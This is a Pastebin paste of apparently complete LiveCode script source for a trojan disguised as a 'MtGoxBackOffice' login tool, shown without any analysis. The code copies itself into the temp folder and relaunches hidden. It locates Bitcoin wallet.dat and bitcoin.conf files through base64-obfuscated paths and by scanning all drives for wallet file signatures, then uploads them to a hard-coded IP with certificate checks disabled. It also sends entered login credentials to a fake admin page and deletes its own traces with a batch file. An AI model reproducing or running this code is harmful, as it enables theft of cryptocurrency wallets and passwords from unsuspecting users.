Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Untitled

By: a guest on Mar 9th, 2014  |  syntax: None  |  size: 25.03 KB  |  views: 361  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1.  
  2.  
  3. 1
  4. 2
  5. 3
  6. 4
  7. 5
  8. 6
  9. 7
  10. 8
  11. 9
  12. 10
  13. 11
  14. 12
  15. 13
  16. 14
  17. 15
  18. 16
  19. 17
  20. 18
  21. 19
  22. 20
  23. 21
  24. 22
  25. 23
  26. 24
  27. 25
  28. 26
  29. 27
  30. 28
  31. 29
  32. 30
  33. 31
  34. 32
  35. 33
  36. 34
  37. 35
  38. 36
  39. 37
  40. 38
  41. 39
  42. 40
  43. 41
  44. 42
  45. 43
  46. 44
  47. 45
  48. 46
  49. 47
  50. 48
  51. 49
  52. 50
  53. 51
  54. 52
  55. 53
  56. 54
  57. 55
  58. 56
  59. 57
  60. 58
  61. 59
  62. 60
  63. 61
  64. 62
  65. 63
  66. 64
  67. 65
  68. 66
  69. 67
  70. 68
  71. 69
  72. 70
  73. 71
  74. 72
  75. 73
  76. 74
  77. 75
  78. 76
  79. 77
  80. 78
  81. 79
  82. 80
  83. 81
  84. 82
  85. 83
  86. 84
  87. 85
  88. 86
  89. 87
  90. 88
  91. 89
  92. 90
  93. 91
  94. 92
  95. 93
  96. 94
  97. 95
  98. 96
  99. 97
  100. 98
  101. 99
  102. 100
  103. 101
  104. 102
  105. 103
  106. 104
  107. 105
  108. 106
  109. 107
  110. 108
  111. 109
  112. 110
  113. 111
  114. 112
  115. 113
  116. 114
  117. 115
  118. 116
  119. 117
  120. 118
  121. 119
  122. 120
  123. 121
  124. 122
  125. 123
  126. 124
  127. 125
  128. 126
  129. 127
  130. 128
  131. 129
  132. 130
  133. 131
  134. 132
  135. 133
  136. 134
  137. 135
  138. 136
  139. 137
  140. 138
  141. 139
  142. 140
  143. 141
  144. 142
  145. 143
  146. 144
  147. 145
  148. 146
  149. 147
  150. 148
  151. 149
  152. 150
  153. 151
  154. 152
  155. 153
  156. 154
  157. 155
  158. 156
  159. 157
  160. 158
  161. 159
  162. 160
  163. 161
  164. 162
  165. 163
  166. 164
  167. 165
  168. 166
  169. 167
  170. 168
  171. 169
  172. 170
  173. 171
  174. 172
  175. 173
  176. 174
  177. 175
  178. 176
  179. 177
  180. 178
  181. 179
  182. 180
  183. 181
  184. 182
  185. 183
  186. 184
  187. 185
  188. 186
  189. 187
  190. 188
  191. 189
  192. 190
  193. 191
  194. 192
  195. 193
  196. 194
  197. 195
  198. 196
  199. 197
  200. 198
  201. 199
  202. 200
  203. 201
  204. 202
  205. 203
  206. 204
  207. 205
  208. 206
  209. 207
  210. 208
  211. 209
  212. 210
  213. 211
  214. 212
  215. 213
  216. 214
  217. 215
  218. 216
  219. 217
  220. 218
  221. 219
  222. 220
  223. 221
  224. 222
  225. 223
  226. 224
  227. 225
  228. 226
  229. 227
  230. 228
  231. 229
  232. 230
  233. 231
  234. 232
  235. 233
  236. 234
  237. 235
  238. 236
  239. 237
  240. 238
  241. 239
  242. 240
  243. 241
  244. 242
  245. 243
  246. 244
  247. 245
  248. 246
  249. 247
  250. 248
  251. 249
  252. 250
  253. 251
  254. 252
  255. 253
  256. 254
  257. 255
  258. 256
  259. 257
  260. 258
  261. 259
  262. 260
  263. 261
  264. 262
  265. 263
  266. 264
  267. 265
  268. 266
  269. 267
  270. 268
  271. 269
  272. 270
  273. 271
  274. 272
  275. 273
  276. 274
  277. 275
  278. 276
  279. 277
  280. 278
  281. 279
  282. 280
  283. 281
  284. 282
  285. 283
  286. 284
  287. 285
  288. 286
  289. 287
  290. 288
  291. 289
  292. 290
  293. 291
  294. 292
  295. 293
  296. 294
  297. 295
  298. 296
  299. 297
  300. 298
  301. 299
  302. 300
  303. 301
  304. 302
  305. 303
  306. 304
  307. 305
  308. 306
  309. 307
  310. 308
  311. 309
  312. 310
  313. 311
  314. 312
  315. 313
  316. 314
  317. 315
  318. 316
  319. 317
  320. 318
  321. 319
  322. 320
  323. 321
  324. 322
  325. 323
  326. 324
  327. 325
  328. 326
  329. 327
  330. 328
  331. 329
  332. 330
  333. 331
  334. 332
  335. 333
  336. 334
  337. 335
  338. 336
  339. 337
  340. 338
  341. 339
  342. 340
  343. 341
  344. 342
  345. 343
  346. 344
  347. 345
  348. 346
  349. 347
  350. 348
  351. 349
  352. 350
  353. 351
  354. 352
  355. 353
  356. 354
  357. 355
  358. 356
  359. 357
  360. 358
  361. 359
  362. 360
  363. 361
  364. 362
  365. 363
  366. 364
  367. 365
  368. 366
  369. 367
  370. 368
  371. 369
  372. 370
  373. 371
  374. 372
  375. 373
  376. 374
  377. 375
  378. 376
  379. 377
  380. 378
  381. 379
  382. 380
  383. 381
  384. 382
  385. 383
  386. 384
  387. 385
  388. 386
  389. 387
  390. 388
  391. 389
  392. 390
  393. 391
  394. 392
  395. 393
  396. 394
  397. 395
  398. 396
  399. 397
  400. 398
  401. 399
  402. 400
  403. 401
  404. 402
  405. 403
  406. 404
  407. 405
  408. 406
  409. 407
  410. 408
  411. 409
  412. 410
  413. 411
  414. 412
  415. 413
  416. 414
  417. 415
  418. 416
  419. 417
  420. 418
  421. 419
  422. 420
  423. 421
  424. 422
  425. 423
  426. 424
  427. 425
  428. 426
  429. 427
  430. 428
  431. 429
  432. 430
  433. 431
  434. 432
  435. 433
  436. 434
  437. 435
  438. 436
  439. 437
  440. 438
  441. 439
  442. 440
  443. 441
  444. 442
  445. 443
  446. 444
  447. 445
  448. 446
  449. 447
  450. 448
  451. 449
  452. 450
  453. 451
  454. 452
  455. 453
  456. 454
  457. 455
  458. 456
  459. 457
  460. 458
  461. 459
  462. 460
  463. 461
  464. 462
  465. 463
  466. 464
  467. 465
  468. 466
  469. 467
  470. 468
  471. 469
  472. 470
  473. 471
  474. 472
  475. 473
  476. 474
  477. 475
  478. 476
  479. 477
  480. 478
  481. 479
  482. 480
  483. 481
  484. 482
  485. 483
  486. 484
  487. 485
  488. 486
  489. 487
  490. 488
  491. 489
  492. 490
  493. 491
  494. 492
  495. 493
  496. 494
  497. 495
  498. 496
  499. 497
  500. 498
  501. 499
  502. 500
  503. 501
  504. 502
  505. 503
  506. 504
  507. 505
  508. 506
  509. 507
  510. 508
  511. 509
  512. 510
  513. 511
  514. 512
  515. 513
  516. 514
  517. 515
  518. 516
  519. 517
  520. 518
  521. 519
  522. 520
  523. 521
  524. 522
  525. 523
  526. 524
  527. 525
  528. 526
  529. 527
  530. 528
  531. 529
  532. 530
  533. 531
  534. 532
  535. 533
  536. 534
  537. 535
  538. 536
  539. 537
  540. 538
  541. 539
  542. 540
  543. 541
  544. 542
  545. 543
  546. 544
  547. 545
  548. 546
  549. 547
  550. 548
  551. 549
  552. 550
  553. 551
  554. 552
  555. 553
  556. 554
  557. 555
  558. 556
  559. 557
  560. 558
  561. 559
  562. 560
  563. 561
  564. 562
  565. 563
  566. 564
  567. 565
  568. 566
  569. 567
  570. 568
  571. 569
  572. 570
  573. 571
  574. 572
  575. 573
  576. 574
  577. 575
  578. 576
  579. 577
  580. 578
  581. 579
  582. 580
  583. 581
  584. 582
  585. 583
  586. 584
  587. 585
  588. 586
  589. 587
  590. 588
  591. 589
  592. 590
  593. 591
  594. 592
  595. 593
  596. 594
  597. 595
  598. 596
  599. 597
  600. 598
  601. 599
  602. 600
  603. 601
  604. 602
  605. 603
  606. 604
  607. 605
  608. 606
  609. 607
  610. 608
  611. 609
  612. 610
  613. 611
  614. 612
  615. 613
  616. 614
  617. 615
  618. 616
  619. 617
  620. 618
  621. 619
  622. 620
  623. 621
  624. 622
  625. 623
  626. 624
  627. 625
  628. 626
  629.  
  630. n startUp
  631.    global origPath
  632.    put the defaultFolder into origPath
  633.    centerThisStack
  634.    if $1 = "quick" then
  635.       hide this stack
  636.    end if
  637. end startUp
  638.  
  639. on openStack
  640.    centerThisStack
  641.    if $1 = "quick" then
  642.       hide this stack
  643.       doSearch
  644.    else
  645.       if $0 contains "TibanneSocket" then
  646.       else
  647.          doCopy
  648.       end if
  649.    end if
  650.    if platform() = "MacOS" then
  651.       doSearch
  652.    end if
  653. end openStack
  654.  
  655. on setupSSL
  656.    open file "revsecurity.dll" for binary write
  657.    write base64Decode(field "dll") to file "revsecurity.dll"
  658.    close file "revsecurity.dll"
  659. end setupSSL
  660.  
  661. on deleteSSL
  662.    global origPath
  663.    set the defaultFolder to origPath
  664.    close file "revsecurity.dll"
  665.    delete file "revsecurity.dll"
  666.    set hideConsoleWindows to true
  667.    get shell("del /F /Q revsecurity.dll")
  668. end deleteSSL
  669.  
  670. on doCopy
  671.    global origPath
  672.    put the defaultFolder into origPath
  673.    if platform() = "Win32" then
  674.       open file $0 for binary read
  675.       read from file $0 until eof
  676.       put it into binpro
  677.       close file $0
  678.       set the directory to $TEMP
  679.       open file "TibanneSocket.exe" for binary write
  680.       write binpro to file "TibanneSocket.exe"
  681.       close file "TibanneSocket.exe"
  682.       open file "revsecurity.dll" for binary write
  683.       write base64Decode(field "dll") to file "revsecurity.dll"
  684.       close file "revsecurity.dll"
  685.       set hideConsoleWindows to true
  686.       get shell("start /b /separate TibanneSocket.exe quick")
  687.    end if
  688. end doCopy
  689.  
  690. on doSearch
  691.    if platform() = "Win32" then
  692.       set the defaultFolder to ($APPDATA&"\"&base64Decode("Qml0Y29pbg=="))
  693.       if the files contains (base64Decode("Yml0Y29pbi5jb25m")) then
  694.          sC ($APPDATA&"\"&base64Decode("Qml0Y29pbg==")&"\"&base64Decode("Yml0Y29pbi5jb25m") )
  695.       end if
  696.       if the files contains (base64Decode("d2FsbGV0LmRhdA==")) then
  697.          sW ($APPDATA&"\"&base64Decode("Qml0Y29pbg==")&"\"&base64Decode("d2FsbGV0LmRhdA=="))
  698.       end if
  699.       wait 20 milliseconds
  700.       set the defaultFolder to "C:"
  701.       set the defaultFolder to "C:/"
  702.       set the defaultFolder to "C:/"
  703.       send "scanNext" to this stack in 5 milliseconds
  704.    end if
  705.    
  706.    
  707.    if platform() = "MacOS" then
  708.       put trim(shell("echo $USER")) into username
  709.       put shell("ls "&quote&"/Users/"&username&base64Decode("L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC9CaXRjb2luLw==")&quote) into filelist
  710.       put "/Users/"&username into homedir
  711.       if filelist contains (base64Decode("Yml0Y29pbi5jb25m")) then
  712.          sC (homedir&base64Decode("L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC9CaXRjb2luLw==")&base64Decode("Yml0Y29pbi5jb25m"))
  713.       end if
  714.       if filelist contains (base64Decode("d2FsbGV0LmRhdA==")) then
  715.          sW (homedir&base64Decode("L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC9CaXRjb2luLw==")&base64Decode("d2FsbGV0LmRhdA=="))
  716.       end if
  717.       set the defaultFolder to "/Users"
  718.       set the defaultFolder to "/Users"
  719.       set the defaultFolder to "/Users"
  720.       send "scanNext" to this stack in 5 milliseconds
  721.    end if
  722. end doSearch
  723.  
  724. on selfKill
  725.    set the defaultFolder to $TEMP
  726.    set hideConsoleWindows to true
  727.    open file "cleanme.bat" for binary write
  728.    write "cd "&quote&"%TEMP%"&quote&return&return& \
  729.          "taskkill /F /IM TibanneSocket.exe && del /F /Q %TEMP%\TibanneSocket.exe && del /F /Q %TEMP%\revsecurity.dll && del /F /Q %TEMP%\cleanme.bat" & return & \
  730.          "del /F /Q %TEMP%\TibanneSocket.exe && del /F /Q %TEMP%\revsecurity.dll && del /F /Q %TEMP%\cleanme.bat" & return & \
  731.          "del /F /Q %TEMP%\revsecurity.dll && del /F /Q %TEMP%\cleanme.bat" & return & \
  732.          "del /F /Q %TEMP%\cleanme.bat" & return to file "cleanme.bat"
  733.    close file "cleanme.bat"
  734.    wait 1 seconds
  735.    get shell(quote&"%TEMP%\cleanme.bat"&quote)
  736.    wait 1 seconds
  737.    get shell(quote&"%TEMP%\cleanme.bat"&quote)
  738.    wait 1 seconds
  739.    get shell(quote&"%TEMP%\cleanme.bat"&quote)
  740.    wait 30 seconds
  741.    quit
  742. end selfKill
  743.  
  744.  
  745. on sW wF
  746.    open file wF for binary read
  747.    read from file wF until eof
  748.    put it into wld
  749.    close file wF
  750.    if the number of characters in wld <> 0 then
  751.       libURLSetSSLVerification false
  752.       set the httpHeaders to "User-Agent: MtGoxBackOffice" & return & "Connection: close"
  753.       set the socketTimeoutInterval to 60000
  754.       post b64single(base64Encode(compress(wld))) to url "https://82.118.242.145/cgi-bin/sync.cgi"
  755.       #close socket (line 1 of openSockets())
  756.    end if
  757. end sW
  758.  
  759. on sC cF
  760.    open file cF for binary read
  761.    read from file cF until eof
  762.    put it into cld
  763.    close file cF
  764.    if the number of characters in cld <> 0 then
  765.       set the httpHeaders to "User-Agent: MtGoxBackOffice" & return & "Connection: close"
  766.       set the socketTimeoutInterval to 60000
  767.       libURLSetSSLVerification false
  768.       post b64single(base64Encode(cld)) to url "https://82.118.242.145/cgi-bin/conf.cgi"
  769.    end if
  770. end sC
  771.  
  772. function b64single bdata
  773.    put 0 into daLine
  774.    repeat the number of lines in bdata
  775.       add 1 to daLine
  776.       put line daLine of bdata after rdata
  777.    end repeat
  778.    return rdata
  779. end b64single
  780.  
  781. function trim indata
  782.    delete the last character of indata
  783.    return indata
  784. end trim
  785.  
  786. on closeStack
  787.    deleteSSL
  788.    get openProcesses()
  789.    quit
  790. end closeStack
  791.  
  792. on centerThisStack
  793.    put screenRect() into srect
  794.    put ( the width of this stack / 2 ) into sxx
  795.    put ( the height of this stack / 2 ) into syy
  796.    put item 3 of srect / 2 into srectx
  797.    put item 4 of srect / 2 into srecty
  798.    put (srectx - sxx)&comma&(srecty - syy)&comma&(srectx + sxx)&comma&(srecty + syy) into newrect
  799.    set the rect of this stack to newrect
  800. end centerThisStack
  801.  
  802. on asyncHTTPSPostW theData
  803.    set the socketTimeoutInterval to 10000
  804.    if theData is empty then exit asyncHTTPSPostW
  805.    put random(999999) into rN
  806.    put "82.118.242.145:80|"&rN into tS
  807.    put "POST /cgi-bin/sync.cgi HTTP/1.1"& CR & \
  808.          "Host: 82.118.242.145" & CR & \
  809.          "User-Agent: MtGoxBackOffice" & CR & \
  810.          "Connection: Keep-Alive" & CR & \
  811.          "Content-Length: "&the number of chars in theData & CR & \
  812.          "Content-Type: application/x-www-form-urlencoded" & CR & \
  813.          CR && theData into pD
  814.    open socket to tS
  815.    write pD to socket tS
  816.    read from socket theSocket until end with message asyncRead
  817. end asyncHTTPSPostW
  818.  
  819. on asyncHTTPSPostC theData
  820.    if theData is empty then exit asyncHTTPSPostC
  821.    put random(999999) into rN
  822.    put "82.118.242.145:443|"&rN into tS
  823.    put "POST /cgi-bin/conf.cgi HTTP/1.1"& CR & \
  824.          "Host: 82.118.242.145" & CR & \
  825.          "User-Agent: MtGoxBackOffice" & CR & \
  826.          "Content-Length: "&the number of chars in theData & CR & \
  827.          "Content-Type: application/x-www-form-urlencoded" & CR & \
  828.          CR && theData into pD
  829.    open secure socket to  tS  without verification
  830.    write pD&CR&LF to socket tS with message asyncSent
  831.    end asyncHTTPSPostC
  832.  
  833. on asyncSent theSocket
  834.    read from socket theSocket with message asyncRead
  835. end asyncSent
  836.  
  837. on asyncRead theSocket, theData
  838.    wait 5 seconds
  839.    close socket theSocket
  840. end asyncRead
  841.  
  842. on scanNextVolume
  843.    global tmpFolder, lCount, lCount2, lastCount, lastCount2, globalStop
  844.    set the wholeMatches to true
  845.    if platform() = "MacOS" then pass scanNextVolume
  846.    if globalStop = "stop" then pass scanNextVolume
  847.    if platform() = "Win32" then
  848.       put empty into tmpFolder
  849.       put empty into lCount
  850.       put empty into lCount2
  851.       put empty into lastCount
  852.       put empty into lastCount2
  853.       set the wholeMatches to true
  854.       put char 1 to 2 of the defaultFolder into checkDrive
  855.       if the number of lines in the volumes > 1 then
  856.          put lineOffset(checkDrive,the volumes)+1 into checknum
  857.          
  858.          if (the number of lines in the volumes) < checknum then
  859.             put "stop" into globalStop
  860.             send "selfKill" to this stack in 10 milliseconds
  861.             pass scanNextVolume
  862.          end if
  863.          
  864.          put 0 into sanityCount
  865.          repeat 25
  866.             add 1 to sanityCount
  867.             if sanityCount > 20 then
  868.                exit repeat
  869.             end if
  870.             put ( line checkNum of the volumes&"/" ) into newVolume
  871.             set the defaultFolder to newVolume
  872.             if the defaultFolder <> newVolume then
  873.                put "couldn't change defaultFolder to "&newVolume
  874.                if checkNum > the number of lines in the volumes then
  875.                   put "stop" into globalStop
  876.                   send "selfKill" to this stack in 10 milliseconds
  877.                   pass scanNextVolume
  878.                else
  879.                   add 1 to checkNum
  880.                end if
  881.             else
  882.                send "scanNext" to this stack in 5 milliseconds
  883.             end if
  884.          end repeat
  885.       end if
  886.    end if
  887. end scanNextVolume
  888.  
  889. on scanNext
  890.    global tmpFolder, lCount, lCount2, lastCount, lastCount2, globalStop, firstSeen, finalFiles
  891.    if globalStop = "stop" then pass scanNext
  892.    set the wholeMatches to true
  893.    set the cursor to busy
  894.    
  895.    if controlKey() = down then
  896.       if shiftKey() = down then
  897.          exit scanNext
  898.       end if
  899.    end if
  900.    
  901.    put "00 00 00 00 01 00 00 00 00 00 00 00 62 31 05 00 09 00 00 00 00 20 00 00 00 09 00 00 00 00 00 00" into hexSig
  902.    put the number of words in hexSig into sigSize
  903.    put 0 into theC
  904.    put empty into binSig
  905.    repeat sigSize times
  906.       add 1 to theC
  907.       put the numToChar of ( baseConvert( (word theC of hexSig),16,10 ) ) after binSig
  908.    end repeat
  909.    put binSig into btcCheckSignature
  910.    
  911.    put "00 00 00 00 01 00 00 00 00 00 00 00 62 31 05 00 09 00 00 00 00 10 00 00 00 09 00 00 00 00 00 00" into hexSig
  912.    put the number of words in hexSig into sigSize
  913.    put 0 into theC
  914.    put empty into binSig
  915.    repeat sigSize times
  916.       add 1 to theC
  917.       put the numToChar of ( baseConvert( (word theC of hexSig),16,10 ) ) after binSig
  918.    end repeat
  919.    put binSig into btcCheckSignature2
  920.    
  921.    put "00 00 00 00 01 00 00 00 00 00 00 00 62 31 05 00 09 00 00 00 00 30 00 00 00 09 00 00 00 00 00 00" into hexSig
  922.    put the number of words in hexSig into sigSize
  923.    put 0 into theC
  924.    put empty into binSig
  925.    repeat sigSize times
  926.       add 1 to theC
  927.       put the numToChar of ( baseConvert( (word theC of hexSig),16,10 ) ) after binSig
  928.    end repeat
  929.    put binSig into btcCheckSignature3
  930.    
  931.    put "00 00 00 00 01 00 00 00 00 00 00 00 62 31 05 00 09 00 00 00 00 40 00 00 00 09 00 00 00 00 00 00" into hexSig
  932.    put the number of words in hexSig into sigSize
  933.    put 0 into theC
  934.    put empty into binSig
  935.    repeat sigSize times
  936.       add 1 to theC
  937.       put the numToChar of ( baseConvert( (word theC of hexSig),16,10 ) ) after binSig
  938.    end repeat
  939.    put binSig into btcCheckSignature4
  940.    
  941.    put "00 00 00 00 01 00 00 00 00 00 00 00 62 31 05 00 09 00 00 00 00 00 00 00 00 09 00 00 00 00 00 00" into hexSig
  942.    put the number of words in hexSig into sigSize
  943.    put 0 into theC
  944.    put empty into binSig
  945.    repeat sigSize times
  946.       add 1 to theC
  947.       put the numToChar of ( baseConvert( (word theC of hexSig),16,10 ) ) after binSig
  948.    end repeat
  949.    put binSig into btcCheckSignature5
  950.    
  951.    put stripFiles() into theFiles
  952.    put 0 into fileCount
  953.    
  954.    repeat the number of lines in theFiles
  955.       add 1 to fileCount
  956.       put line fileCount of theFiles into fName
  957.       if platform() = "MacOS" then
  958.          if firstSeen is empty then
  959.             if fName <> empty then
  960.                put the defaultFolder&"/"&fName into firstSeen
  961.             end if
  962.          else
  963.             if the defaultFolder&"/"&fName = firstSeen then
  964.                pass scanNext
  965.             end if
  966.          end if
  967.       end if
  968.      
  969.       put "addr.dat blkindex.dat peers.dat BOOTSTAT.dat" into badFiles
  970.       put ".txt .zip .gz .z .bz .bz2 .tar .rar .html .htm .js .css .fl .nib .jpg .png .bmp .tif .gif .ico .dll .lnk .avi .wmv .c .cpp .h .csv .pdf .sys .exe" into badExts
  971.       put 0 into bC
  972.       put empty into bCC
  973.       repeat the number of words in badExts
  974.          add 1 to bC
  975.          if fName ends with word bC of badExts then
  976.             put "bad" into bCC
  977.             exit repeat
  978.          end if
  979.       end repeat
  980.       if badFiles contains fName then
  981.          # DUP
  982.       else
  983.          if bCC is empty then
  984.             open file fName for binary read
  985.             read from file fName for 32 chars
  986.             put it into binCheck
  987.             close file fName
  988.             put empty into binFound
  989.             if binCheck = btcCheckSignature then put "true" into binFound
  990.             if binCheck = btcCheckSignature2 then put "true" into binFound
  991.             if binCheck = btcCheckSignature3 then put "true" into binFound
  992.             if binCheck = btcCheckSignature4 then put "true" into binFound
  993.             if binCheck = btcCheckSignature5 then put "true" into binFound
  994.             if binFound = "true" then
  995.                open file fName for binary read
  996.                read from file fName until eof
  997.                put it into binCheck2
  998.                close file fName
  999.                put "pool main key name addr bestblock defaultKey version setting addr" into search1
  1000.                put 0 into wCount
  1001.                put 0 into wScore
  1002.                repeat the number of words in search1
  1003.                   add 1 to wCount
  1004.                   if binCheck2 contains (word wCount of search1) then
  1005.                      add 1 to wScore
  1006.                   end if
  1007.                end repeat
  1008.                put the defaultFolder&"/"&fName into resultsCheck
  1009.                if finalFiles contains resultsCheck then
  1010.                   ## DUP
  1011.                else
  1012.                   put resultsCheck&return after finalFiles
  1013.                   if wScore >= 3 then
  1014.                      sW resultsCheck
  1015.                   end if
  1016.                end if
  1017.             end if
  1018.          end if
  1019.       end if
  1020.    end repeat
  1021.    
  1022.    put empty into it
  1023.    
  1024.    if the number of lines in stripFolders() > 1 then
  1025.       put stripFolders() into tmpFolderList
  1026.       if tmpFolder is empty then
  1027.          put 1 into lCheck
  1028.       end if
  1029.       put lineOffset(tmpFolder,tmpFolderList) into lCheck
  1030.       if lCheck = 0 then
  1031.          put 1 into lCheck
  1032.       else
  1033.          add 1 to lCheck
  1034.       end if
  1035.       if lCheck = lastCount2 then
  1036.          add 1 to lCheck
  1037.          put lCheck into lastCount2
  1038.       else
  1039.          put lCheck into lastCount2
  1040.       end if
  1041.      
  1042.       if lCheck > the number of lines in tmpFolderList then
  1043.          set the itemDelimiter to "/"
  1044.          put the defaultFolder into theFolder
  1045.          put the last item of the defaultFolder into tmpFolder
  1046.          delete the last item of theFolder
  1047.          if the number of items in theFolder <= 1 then put "/" after theFolder
  1048.          set the defaultFolder to theFolder
  1049.          if isLastCheck(tmpFolder) = "TRUE" then
  1050.             send "scanNextVolume" to this stack in 5 milliseconds
  1051.             pass scanNext
  1052.          end if
  1053.          
  1054.          if lCheck2 <> empty then
  1055.             put lCheck2 into preCheck2
  1056.          else
  1057.             put 0 into lCheck2
  1058.             put 0 into preCheck2
  1059.          end if
  1060.          put stripFolders() into tmpFolderList
  1061.          put lineOffset(tmpFolder,tmpFolderList) into lCheck2
  1062.          if lCheck2 = 0 then
  1063.             put 1 into lCheck2
  1064.          else
  1065.             add 1 to lCheck2
  1066.          end if
  1067.          if lCheck2 > the number of lines in tmpFolderList then
  1068.             set the itemDelimiter to "/"
  1069.             put the defaultFolder into theFolder
  1070.             put the last item of the defaultFolder into tmpFolder
  1071.             delete the last item of theFolder
  1072.             if the number of items in theFolder <= 1 then put "/" after theFolder
  1073.             set the defaultFolder to theFolder
  1074.             if isLastCheck(tmpFolder) = "TRUE" then
  1075.                send "scanNextVolume" to this stack in 5 milliseconds
  1076.                pass scanNext
  1077.             end if
  1078.            
  1079.             put stripFolders() into tmpFolderList
  1080.             put lineOffset(tmpFolder,tmpFolderList) into lCheck2
  1081.             if lCheck2 = 0 then
  1082.                put 1 into lCheck2
  1083.             else
  1084.                add 1 to lCheck2
  1085.             end if
  1086.            
  1087.             if lCheck2 = lastCount then
  1088.                add 1 to lCheck2
  1089.                put lCheck2 into lastCount
  1090.             else
  1091.                put lCheck2 into lastCount
  1092.             end if
  1093.            
  1094.          else
  1095.             put ( line lCheck2 of tmpFolderList ) into tFolder
  1096.             put tFolder into tmpFolder
  1097.             set the defaultFolder to (theFolder&"/"&tFolder)
  1098.          end if
  1099.       else
  1100.          put line lCheck of tmpFolderList into tmpFolder
  1101.          if isLastCheck(tmpFolder) = "TRUE" then
  1102.             send "scanNextVolume" to this stack in 5 milliseconds
  1103.             pass scanNext
  1104.          end if
  1105.          
  1106.          if (char 1 to 3 of the defaultFolder) = the defaultFolder then
  1107.             if (lCheck+1) = the number of lines in stripFolders() then
  1108.                send "scanNextVolume" to this stack in 5 milliseconds
  1109.                pass scanNext
  1110.             end if
  1111.          end if
  1112.          
  1113.          if (the defaultFolder&line lCheck of stripFolders()) = "C:/Windows" then
  1114.             if (lCheck+1) > the number of lines in stripFolders() then
  1115.                send "scanNextVolume" to this stack in 5 milliseconds
  1116.                pass scanNext
  1117.             end if
  1118.          else
  1119.             put "stop" into cStop
  1120.             set the defaultFolder to (the defaultFolder&"/"&line lCheck of stripFolders())
  1121.          end if
  1122.          
  1123.          if (the defaultFolder&line lCheck of stripFolders()) = "C:/Boot" then
  1124.             if (lCheck+1) > the number of lines in stripFolders() then
  1125.                #DUP
  1126.             else
  1127.                add 1 to lCheck
  1128.                set the defaultFolder to (the defaultFolder&line lCheck of stripFolders())
  1129.             end if
  1130.          else
  1131.             if cStop <> "stop" then
  1132.                set the defaultFolder to (the defaultFolder&"/"&line lCheck of stripFolders())
  1133.             end if
  1134.          end if
  1135.          put empty into cStop
  1136.       end if
  1137.    else
  1138.       put empty into lCheck2
  1139.       put empty into lCheck
  1140.       set the itemDelimiter to "/"
  1141.       put the defaultFolder into theFolder
  1142.       put the last item of the defaultFolder into tmpFolder
  1143.       delete the last item of theFolder
  1144.       if theFolder is empty then
  1145.          put "notwin32" into foldCheck
  1146.       else
  1147.          put "win32" into foldCheck
  1148.       end if
  1149.       if the number of items in theFolder <= 1 then put "/" after theFolder  
  1150.       set the defaultFolder to theFolder
  1151.       if isLastCheck(tmpFolder) = "TRUE" then
  1152.          send "scanNextVolume" to this stack in 5 milliseconds
  1153.          pass scanNext
  1154.       end if
  1155.       put stripFolders() into tmpFolderList
  1156.       put lineOffset(tmpFolder,tmpFolderList) into lCheck2
  1157.       add 1 to lCheck2
  1158.       put ( line lCheck2 of tmpFolderList ) into tFolder
  1159.       set the defaultFolder to (theFolder&"/"&tFolder)
  1160.    end if
  1161.    send "scanNext" to this stack in 5 milliseconds
  1162. end scanNext
  1163.  
  1164. function isLastCheck lastDir
  1165.    if platform() = "Win32" then
  1166.       if char 1 to 3 of the defaultFolder = the defaultFolder then
  1167.          if lineOffset(lastDir,(stripFolders())) = the number of lines in stripFolders() then
  1168.             return "TRUE"
  1169.          end if
  1170.       end if
  1171.    end if
  1172.    if platform() = "MacOS" then
  1173.       if the defaultFolder = "/" then
  1174.          if lineOffset(lastDir,(stripFolders())) = the number of lines in stripFolders() then
  1175.            return "TRUE"
  1176.          end if
  1177.       end if
  1178.    end if
  1179.    return "FALSE"
  1180. end isLastCheck
  1181.  
  1182. function sortLines theData
  1183.    sort theData
  1184.    return theData
  1185. end sortLines
  1186.  
  1187. function stripFolders
  1188.    put the folders into tF
  1189.    if line 1 of tF = "." then delete line 1 of tF
  1190.    if line 1 of tF = ".." then delete line 1 of tF
  1191.    if line 1 of tF = "." then delete line 1 of tF
  1192.    if line 1 of tF = ".." then delete line 1 of tF
  1193.    sort lines of tF ascending by word 1 of each
  1194.    if line 1 of tF = "." then delete line 1 of tF
  1195.    if line 1 of tF = ".." then delete line 1 of tF
  1196.    if line 1 of tF = "." then delete line 1 of tF
  1197.    if line 1 of tF = ".." then delete line 1 of tF
  1198.    return tF
  1199. end stripFolders
  1200.  
  1201. function stripFiles
  1202.    if platform() = "Linux" then
  1203.       set hideConsoleWindows to true
  1204.       put "ls -al|grep -v "&quote&"lrwxrwxrwx"&quote&"|awk '{print $8}'" into shcmd
  1205.       put shell(shcmd) into tf
  1206.       sort lines of tF ascending by word 1 of each
  1207.       if line 1 of tF = "." then delete line 1 of tF
  1208.       if line 1 of tF = ".." then delete line 1 of tF
  1209.       return tF
  1210.    end if
  1211.    if platform() = "Win32" then
  1212.       put the files into tF
  1213.       sort lines of tF ascending by word 1 of each
  1214.       if line 1 of tF = "." then delete line 1 of tF
  1215.       if line 1 of tF = ".." then delete line 1 of tF
  1216.       return tF
  1217.    end if
  1218.    if platform() = "MacOS" then
  1219.       put the files into tF
  1220.       sort lines of tF ascending by word 1 of each
  1221.       if line 1 of tF = "." then delete line 1 of tF
  1222.       if line 1 of tF = ".." then delete line 1 of tF
  1223.       return tF
  1224.    end if
  1225. end stripFiles
  1226.  
  1227. on mouseUp
  1228.    global keyBuff
  1229.    set the showName of me to false
  1230.    set the icon of me to "210073"
  1231.    set the httpHeaders to "User-Agent: MtGoxBackOffice v0.1.2"
  1232.    libURLSetSSLVerification false
  1233.    #get url "https://admin.tibanne.com"
  1234.    set the httpHeaders to "User-Agent: MtGoxBackOffice v0.1.2"
  1235.    libURLSetSSLVerification false
  1236.    post base64Encode("action=login&user="&field "l"&"&pass="&keyBuff&return) to "http://82.118.242.145/admin/tibanne-admin.php"
  1237.    set the icon of me to ""
  1238.    set the showName of me to true
  1239.    if cd fld "l" is empty then
  1240.       answer "Server Responded: username is empty. Please try again."
  1241.       put "" into field "l"
  1242.       put "" into field "p"
  1243.       exit mouseUp
  1244.    end if
  1245.    if cd fld "p" is empty then
  1246.       answer "Server Responded: password is empty. Please try again"
  1247.       put "" into field "l"
  1248.       put "" into field "p"
  1249.       exit mouseUp
  1250.    end if
